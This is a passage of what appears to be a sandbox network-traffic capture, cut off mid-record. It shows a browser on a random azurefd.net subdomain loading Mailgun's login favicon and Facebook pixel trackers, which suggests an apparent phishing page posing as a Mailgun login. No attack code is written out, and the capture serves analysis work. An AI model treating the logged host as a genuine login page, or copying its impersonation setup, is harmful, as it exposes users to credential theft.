42	192.168.2.5	49775	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:48 UTC	628	OUT	GET /login/static/favicon.png HTTP/1.1 Host: login.mailgun.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:48 UTC	405	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=favicon.png Content-Length: 798 Content-Type: image/png Date: Wed, 03 Jul 2024 12:38:48 GMT Etag: "1718130172.0-798-1443897428" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:48 UTC	774	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 e5 49 44 41 54 78 01 a5 d7 4b 48 ed 55 14 c7 f1 85 10 14 21 35 a8 a8 4c 4d 33 05 1f 60 22 c4 25 14 ab 81 14 8a 28 b7 17 e5 ac 42 4a 88 a2 20 2a 8a 43 29 94 53 6b a0 65 19 a6 52 d1 cd 1e 3a 88 20 23 8b b8 21 88 d0 fb a8 15 36 30 b9 a5 19 96 79 db 7d 0f ec 60 f1 83 3f 6d 3d c2 67 b2 7e 6b 1d 16 7b ff cf 43 4b fd 5b ac aa bd 00 b7 e2 79 7c 84 3c b6 a3 3c 16 63 76 1b 2e 84 a5 48 69 ba 1a a3 38 83 90 e8 57 bc 80 da 62 17 78 06 a1 48 c3 c7 59 a0 1c 5f 20 28 ac 61 06 39 0c 46 39 4c 23 8f a0 b0 8c ca d4 05 ea 32 8e fb 0d dc 08 13 ea 06 bc 8e 20 76 50 ff 7f 0b 5c 8a 1d 19 fc 12 1d b0 23 6a c7 2a 82 b3 87 32 5d c0 fb 4a 06 de 41 49 c6 15 75 61 20 ea 42 05 0c Data Ascii: PNGIHDR szzIDATxKHU!5LM3`"%(BJ C)SkeR: #!60y}`?m=g~k{CK[y\|<<cv.Hi8WbxHY_ (a9F9L#2 vP\#j2]JAIua B
2024-07-03 12:38:48 UTC	24	IN	Data Raw: 61 29 fe 05 a7 87 fc ab 17 cf 6c 4d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: a)lMIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49773	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:48 UTC	878	OUT	GET /tr/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010327099&sw=1280&sh=1024&v=2.9.160&r=stable&ec=2&o=4126&fbp=fb.1.1720010325961.1187528993&ler=empty&cdl=API_unavailable&it=1720010324745&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:48 UTC	936	IN	HTTP/1.1 302 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Date: Wed, 03 Jul 2024 12:38:48 GMT Set-Cookie: fr=0XcjeV8M3ZXKiOfNL..BmhUZY...1.0.BmhUZY.; expires=Tuesday, 01-Oct-2024 12:38:48 GMT; path=/; domain=.facebook.com; SameSite=None; HttpOnly; secure Location: /tr/?redirect=0&rqm=GET&coo=false&it=1720010324745&cdl=API_unavailable&ler=empty&fbp=fb.1.1720010325961.1187528993&o=4126&ec=2&r=stable&v=2.9.160&sh=1024&sw=1280&ts=1720010327099&if=false&rl=&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&ev=Scroll_50&id=541164370529087 Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Content-Type: text/plain Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=89, rtx=0, c=10, mss=1392, tbw=3403, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49774	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:48 UTC	993	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010327099&sw=1280&sh=1024&v=2.9.160&r=stable&ec=2&o=4126&fbp=fb.1.1720010325961.1187528993&ler=empty&cdl=API_unavailable&it=1720010324745&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger, not-navigation-source Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:48 UTC	1265	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png attribution-reporting-register-trigger: {"event_trigger_data":[{"trigger_data":"0"}],"aggregatable_trigger_data":[{"key_piece":"0x6f9deeddc5edcf4d","source_keys":["1","2"]},{"key_piece":"0x3846355ca2c0d4aa","source_keys":["1","2"]}],"aggregatable_values":{"1":1}} reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7387388109247383031", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7387388109247383031"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-07-03 12:38:48 UTC	1859	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-07-03 12:38:48 UTC	1786	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewpo
2024-07-03 12:38:48 UTC	4	IN	Data Raw: 34 33 0d 0a Data Ascii: 43
2024-07-03 12:38:48 UTC	69	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: PNGIHDRIDATxc-IENDB`
2024-07-03 12:38:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49776	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:48 UTC	621	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=PageView&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325963&sw=1280&sh=1024&v=2.9.160&r=stable&ec=0&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:48 UTC	952	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7387388108998505586", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7387388108998505586"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-07-03 12:38:48 UTC	1859	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-07-03 12:38:48 UTC	1819	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewpo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49778	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:48 UTC	622	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325966&sw=1280&sh=1024&v=2.9.160&r=stable&ec=1&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:48 UTC	952	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7387388108954245228", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7387388108954245228"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-07-03 12:38:48 UTC	1859	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-07-03 12:38:48 UTC	1819	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewpo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49780	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:49 UTC	365	OUT	GET /login/static/favicon.png HTTP/1.1 Host: login.mailgun.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:49 UTC	405	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=favicon.png Content-Length: 798 Content-Type: image/png Date: Wed, 03 Jul 2024 12:38:49 GMT Etag: "1718130172.0-798-1443897428" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:49 UTC	774	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 e5 49 44 41 54 78 01 a5 d7 4b 48 ed 55 14 c7 f1 85 10 14 21 35 a8 a8 4c 4d 33 05 1f 60 22 c4 25 14 ab 81 14 8a 28 b7 17 e5 ac 42 4a 88 a2 20 2a 8a 43 29 94 53 6b a0 65 19 a6 52 d1 cd 1e 3a 88 20 23 8b b8 21 88 d0 fb a8 15 36 30 b9 a5 19 96 79 db 7d 0f ec 60 f1 83 3f 6d 3d c2 67 b2 7e 6b 1d 16 7b ff cf 43 4b fd 5b ac aa bd 00 b7 e2 79 7c 84 3c b6 a3 3c 16 63 76 1b 2e 84 a5 48 69 ba 1a a3 38 83 90 e8 57 bc 80 da 62 17 78 06 a1 48 c3 c7 59 a0 1c 5f 20 28 ac 61 06 39 0c 46 39 4c 23 8f a0 b0 8c ca d4 05 ea 32 8e fb 0d dc 08 13 ea 06 bc 8e 20 76 50 ff 7f 0b 5c 8a 1d 19 fc 12 1d b0 23 6a c7 2a 82 b3 87 32 5d c0 fb 4a 06 de 41 49 c6 15 75 61 20 ea 42 05 0c Data Ascii: PNGIHDR szzIDATxKHU!5LM3`"%(BJ C)SkeR: #!60y}`?m=g~k{CK[y\|<<cv.Hi8WbxHY_ (a9F9L#2 vP\#j2]JAIua B
2024-07-03 12:38:49 UTC	24	IN	Data Raw: 61 29 fe 05 a7 87 fc ab 17 cf 6c 4d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: a)lMIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49781	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:49 UTC	941	OUT	GET /tr/?redirect=0&rqm=GET&coo=false&it=1720010324745&cdl=API_unavailable&ler=empty&fbp=fb.1.1720010325961.1187528993&o=4126&ec=2&r=stable&v=2.9.160&sh=1024&sw=1280&ts=1720010327099&if=false&rl=&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&ev=Scroll_50&id=541164370529087 HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: fr=0XcjeV8M3ZXKiOfNL..BmhUZY...1.0.BmhUZY.
2024-07-03 12:38:49 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=94, rtx=0, c=10, mss=1392, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Wed, 03 Jul 2024 12:38:49 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49782	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:49 UTC	704	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010327099&sw=1280&sh=1024&v=2.9.160&r=stable&ec=2&o=4126&fbp=fb.1.1720010325961.1187528993&ler=empty&cdl=API_unavailable&it=1720010324745&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: fr=0XcjeV8M3ZXKiOfNL..BmhUZY...1.0.BmhUZY.
2024-07-03 12:38:49 UTC	952	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7387388112142261924", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7387388112142261924"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-07-03 12:38:49 UTC	1859	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' 